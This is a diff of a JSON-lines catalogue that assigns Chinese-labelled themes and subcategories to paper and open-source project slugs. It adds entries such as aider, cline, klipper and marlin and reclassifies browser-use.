-{"slug":"wide-deep-2016","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"williams-1983-mipmap","area":"papers","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} -{"slug":"wireguard-2017","area":"papers","theme":"网络协议","themeId":"network-protocols","subcategory":"网络协议","source":"candidates.topic","confidence":"high","rawCategory":"网络协议"} -{"slug":"word2vec","area":"papers","theme":"NLP","themeId":"nlp","subcategory":"NLP","source":"category","confidence":"high","rawCategory":"NLP"} -{"slug":"world-model-robot-learning-2026","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"机器人与 VLA","source":"slugOverrides","confidence":"high","rawCategory":"机器学习"} -{"slug":"worldsense-2025","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"视频理解","source":"category","confidence":"high","rawCategory":"机器学习"} -{"slug":"xen-2003","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"xla-compiler","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"类型与 PL 理论","source":"candidates.topic","confidence":"high","rawCategory":"编程语言"} -{"slug":"xlnet-2019","area":"papers","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} -{"slug":"xtrace-2007","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"yao-garbled-circuits-1986","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"安全与隐私","source":"candidates.topic","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"youtube-two-tower-2019","area":"papers","theme":"信息检索","themeId":"info-retrieval","subcategory":"检索与排序","source":"candidates.topic","confidence":"high","rawCategory":"信息检索"} -{"slug":"z3-2008","area":"papers","theme":"形式化方法","themeId":"formal-methods","subcategory":"形式化验证","source":"candidates.topic","confidence":"high","rawCategory":"形式化方法"} -{"slug":"zab-2011","area":"papers","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} -{"slug":"zero-2020","area":"papers","theme":"分布式系统","themeId":"distributed-systems","subcategory":"共识与复制","source":"candidates.topic","confidence":"high","rawCategory":"分布式系统"} -{"slug":"zfs-2003","area":"papers","theme":"操作系统","themeId":"operating-systems","subcategory":"内核与虚拟化","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} -{"slug":"zgc","area":"papers","theme":"编程语言","themeId":"programming-languages","subcategory":"编程语言","source":"category","confidence":"high","rawCategory":"编程语言"} -{"slug":"zk-snark","area":"papers","theme":"安全与隐私","themeId":"security-privacy","subcategory":"密码学","source":"category","confidence":"high","rawCategory":"安全与隐私"} -{"slug":"zombie-agents-2602","area":"papers","theme":"Agent","themeId":"agents","subcategory":"智能体与 LLM","source":"candidates.topic","confidence":"high","rawCategory":"Agent"} {"slug":"3d-force-graph","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"aave-v3","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"accelerate","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} @@ -956,6 +8,7 @@ {"slug":"ag-grid","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"age","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"aichat","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} +{"slug":"aider","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"aiortc","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"airflow","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"altair","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} @@ -971,6 +24,7 @@ {"slug":"antv-g2","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"antv-g6","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"antv-x6","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} +{"slug":"anytype-ts","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"ape-framework","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"apexcharts","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"apollo-server","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} @@ -1023,13 +77,14 @@ {"slug":"billboard-js","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"biome","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"前端工具链","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"bitcoin-core","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} +{"slug":"boa-engine","area":"projects","theme":"编译器","themeId":"compilers","subcategory":"语言运行时","source":"candidates.topic","confidence":"high","rawCategory":"编译器"} {"slug":"bokeh","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"botbuilder-js","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"botpress","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"bottom","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"boxen","area":"projects","theme":"CLI","themeId":"cli","subcategory":"工具库","source":"category","confidence":"high","rawCategory":"CLI"} {"slug":"broot","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} -{"slug":"browser-use","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"AI agent infra","source":"category","confidence":"high","rawCategory":"机器学习"} +{"slug":"browser-use","area":"projects","theme":"其他","themeId":"other","subcategory":"AI与自动化","source":"category","confidence":"high","rawCategory":"其他"} {"slug":"btop","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"bubbletea","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"buildah","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} @@ -1069,10 +124,14 @@ {"slug":"clearml","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"clerk","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"框架与 SDK","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"clickhouse","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} +{"slug":"cline","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} +{"slug":"cmsis-nn","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"cockroach","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"cockroachdb","area":"projects","theme":"分布式系统","themeId":"distributed-systems","subcategory":"数据库 / 分布式","source":"category","confidence":"high","rawCategory":"分布式系统"} {"slug":"cocos2d-x","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} +{"slug":"code-server","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"codemirror","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"前端","source":"category","confidence":"high","rawCategory":"后端 API"} +{"slug":"coder","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"collabora-online","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"colmap","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"colossal-ai","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} @@ -1135,6 +194,7 @@ {"slug":"dovecot","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"dragonfly","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"drawio","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} +{"slug":"drizzle-orm","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"drizzle","area":"projects","theme":"数据库","themeId":"databases","subcategory":"ORM","source":"category","confidence":"high","rawCategory":"数据库"} {"slug":"drone","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"dropwizard","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} @@ -1149,6 +209,7 @@ {"slug":"earthly","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"echarts","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"projects / 数据可视化","source":"category","confidence":"high","rawCategory":"数据可视化"} {"slug":"echo","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} +{"slug":"eclipse-che","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"edgedb","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"effect","area":"projects","theme":"编译器","themeId":"compilers","subcategory":"TypeScript 运行时","source":"category","confidence":"high","rawCategory":"编译器"} {"slug":"ejabberd","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} @@ -1170,6 +231,7 @@ {"slug":"erigon","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"errbot","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"esbuild","area":"projects","theme":"编译器","themeId":"compilers","subcategory":"构建工具","source":"category","confidence":"high","rawCategory":"编译器"} +{"slug":"esp-dl","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"essentia","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"etcd","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"ethers-js","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} @@ -1195,6 +257,7 @@ {"slug":"fish-shell","area":"projects","theme":"CLI","themeId":"cli","subcategory":"Shell","source":"category","confidence":"high","rawCategory":"CLI"} {"slug":"fish","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"flac","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} +{"slug":"flame","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"flask","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"flax","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"flowchart-js","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} @@ -1202,6 +265,7 @@ {"slug":"flutter-rust-bridge","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"flutter","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"flux","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} +{"slug":"foam","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"fooocus","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"foundry","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"framer-motion","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"动画","source":"category","confidence":"high","rawCategory":"数据可视化"} @@ -1211,11 +275,14 @@ {"slug":"freeswitch","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"fx","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"fzf","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} +{"slug":"gazebo-classic","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"gdu","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"geany","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"gh","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} +{"slug":"ghostwriter","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"gin","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"github-actions","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps / CI-CD","source":"category","confidence":"high","rawCategory":"基础设施"} +{"slug":"gitpod","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"gitui","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"glab","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"glances","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} @@ -1230,6 +297,7 @@ {"slug":"grape","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"graphology","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"graphql-yoga","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} +{"slug":"grbl","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"greenplum-db","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"gron","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"grpc-go","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} @@ -1281,6 +349,7 @@ {"slug":"jimp","area":"projects","theme":"CLI","themeId":"cli","subcategory":"工具库","source":"category","confidence":"high","rawCategory":"CLI"} {"slug":"jitsi-meet","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"jitsi-videobridge","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} +{"slug":"joplin","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"jotai","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"状态管理","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"jq","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"js-joda","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects","source":"category","confidence":"high","rawCategory":"后端 API"} @@ -1298,6 +367,7 @@ {"slug":"keras","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"kind","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"kitty","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} +{"slug":"klipper","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"koa","area":"projects","theme":"CLI","themeId":"cli","subcategory":"工具库","source":"category","confidence":"high","rawCategory":"CLI"} {"slug":"kong","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"Web 后端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"konva","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"前端图形 / Canvas 2D","source":"category","confidence":"high","rawCategory":"后端 API"} @@ -1340,6 +410,7 @@ {"slug":"lima","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"lingui","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects / 前端国际化","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"linkerd2","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} +{"slug":"linuxcnc","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"listr2","area":"projects","theme":"CLI","themeId":"cli","subcategory":"工具库","source":"category","confidence":"high","rawCategory":"CLI"} {"slug":"lite-xl","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"litellm-proxy","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"ai-eng","source":"category","confidence":"high","rawCategory":"机器学习"} @@ -1358,8 +429,10 @@ {"slug":"lmms","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"locust","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"lodestar","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} +{"slug":"logseq","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"loki","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} {"slug":"longhorn","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} +{"slug":"lora-mac-node","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"lottie","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"动画","source":"slugOverrides","confidence":"high","rawCategory":"数据可视化"} {"slug":"love2d","area":"projects","theme":"图形学","themeId":"graphics","subcategory":"渲染与图形","source":"candidates.topic","confidence":"high","rawCategory":"图形学"} {"slug":"lsd","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} @@ -1377,6 +450,8 @@ {"slug":"mariadb-server","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"markdown-it","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects / 前端工具链","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"marked","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects","source":"category","confidence":"high","rawCategory":"后端 API"} +{"slug":"marktext","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} +{"slug":"marlin","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"matplotlib","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"matrix-js-sdk","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"matrix-rust-sdk","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} @@ -1418,18 +493,23 @@ {"slug":"monero","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} {"slug":"mongo","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"mongodb","area":"projects","theme":"数据库","themeId":"databases","subcategory":"数据库 / NoSQL","source":"category","confidence":"high","rawCategory":"数据库"} +{"slug":"mosquitto","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"motion-one","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects / 前端动画","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"move-language","area":"projects","theme":"区块链","themeId":"blockchain","subcategory":"链与合约","source":"candidates.topic","confidence":"high","rawCategory":"区块链"} +{"slug":"moveit2","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"msw","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects / 测试工具","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"mumble","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"mysql-server","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"mysql","area":"projects","theme":"数据库","themeId":"databases","subcategory":"数据库","source":"category","confidence":"high","rawCategory":"数据库"} {"slug":"nanobrowser","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"AI agent","source":"category","confidence":"high","rawCategory":"机器学习"} +{"slug":"nanomq","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"nanostores","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"projects / 前端","source":"category","confidence":"high","rawCategory":"后端 API"} {"slug":"nativescript","area":"projects","theme":"后端 API","themeId":"backend-api","subcategory":"移动端","source":"candidates.topic","confidence":"high","rawCategory":"后端 API"} {"slug":"nats-server","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"nats","area":"projects","theme":"分布式系统","themeId":"distributed-systems","subcategory":"消息队列","source":"category","confidence":"high","rawCategory":"分布式系统"} +{"slug":"navigation2","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"ncdu","area":"projects","theme":"CLI","themeId":"cli","subcategory":"命令行工具","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} +{"slug":"ncnn","area":"projects","theme":"操作系统","themeId":"operating-systems","subcategory":"嵌入式","source":"candidates.topic","confidence":"high","rawCategory":"操作系统"} {"slug":"nebula","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"neo4j","area":"projects","theme":"数据库","themeId":"databases","subcategory":"存储与查询","source":"candidates.topic","confidence":"high","rawCategory":"数据库"} {"slug":"neovim","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} @@ -1470,6 +550,7 @@ {"slug":"ollama","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"模型与训练","source":"category","confidence":"high","rawCategory":"机器学习"} {"slug":"open-sora","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"数据科学与 AI","source":"candidates.topic","confidence":"high","rawCategory":"机器学习"} {"slug":"openai-agents-sdk","area":"projects","theme":"机器学习","themeId":"machine-learning","subcategory":"AI 工程","source":"category","confidence":"high","rawCategory":"机器学习"} +{"slug":"opencode","area":"projects","theme":"CLI","themeId":"cli","subcategory":"编辑器与 IDE","source":"candidates.topic","confidence":"high","rawCategory":"CLI"} {"slug":"opencv","area":"projects","theme":"通信","themeId":"communication","subcategory":"音视频媒体","source":"candidates.topic","confidence":"high","rawCategory":"通信"} {"slug":"openlayers","area":"projects","theme":"数据可视化","themeId":"dataviz","subcategory":"数据可视化","source":"candidates.topic","confidence":"high","rawCategory":"数据可视化"} {"slug":"openmeetings","area":"projects","theme":"通信","themeId":"communication","subcategory":"实时通信","source":"candidates.topic","confidence":"high","rawCategory":"通信"} @@ -1482,6 +563,7 @@ {"slug":"opentofu","area":"projects","theme":"基础设施","themeId":"infrastructure","subcategory":"DevOps 与运维","source":"candidates.topic","confidence":"high","rawCategory":"基础设施"} 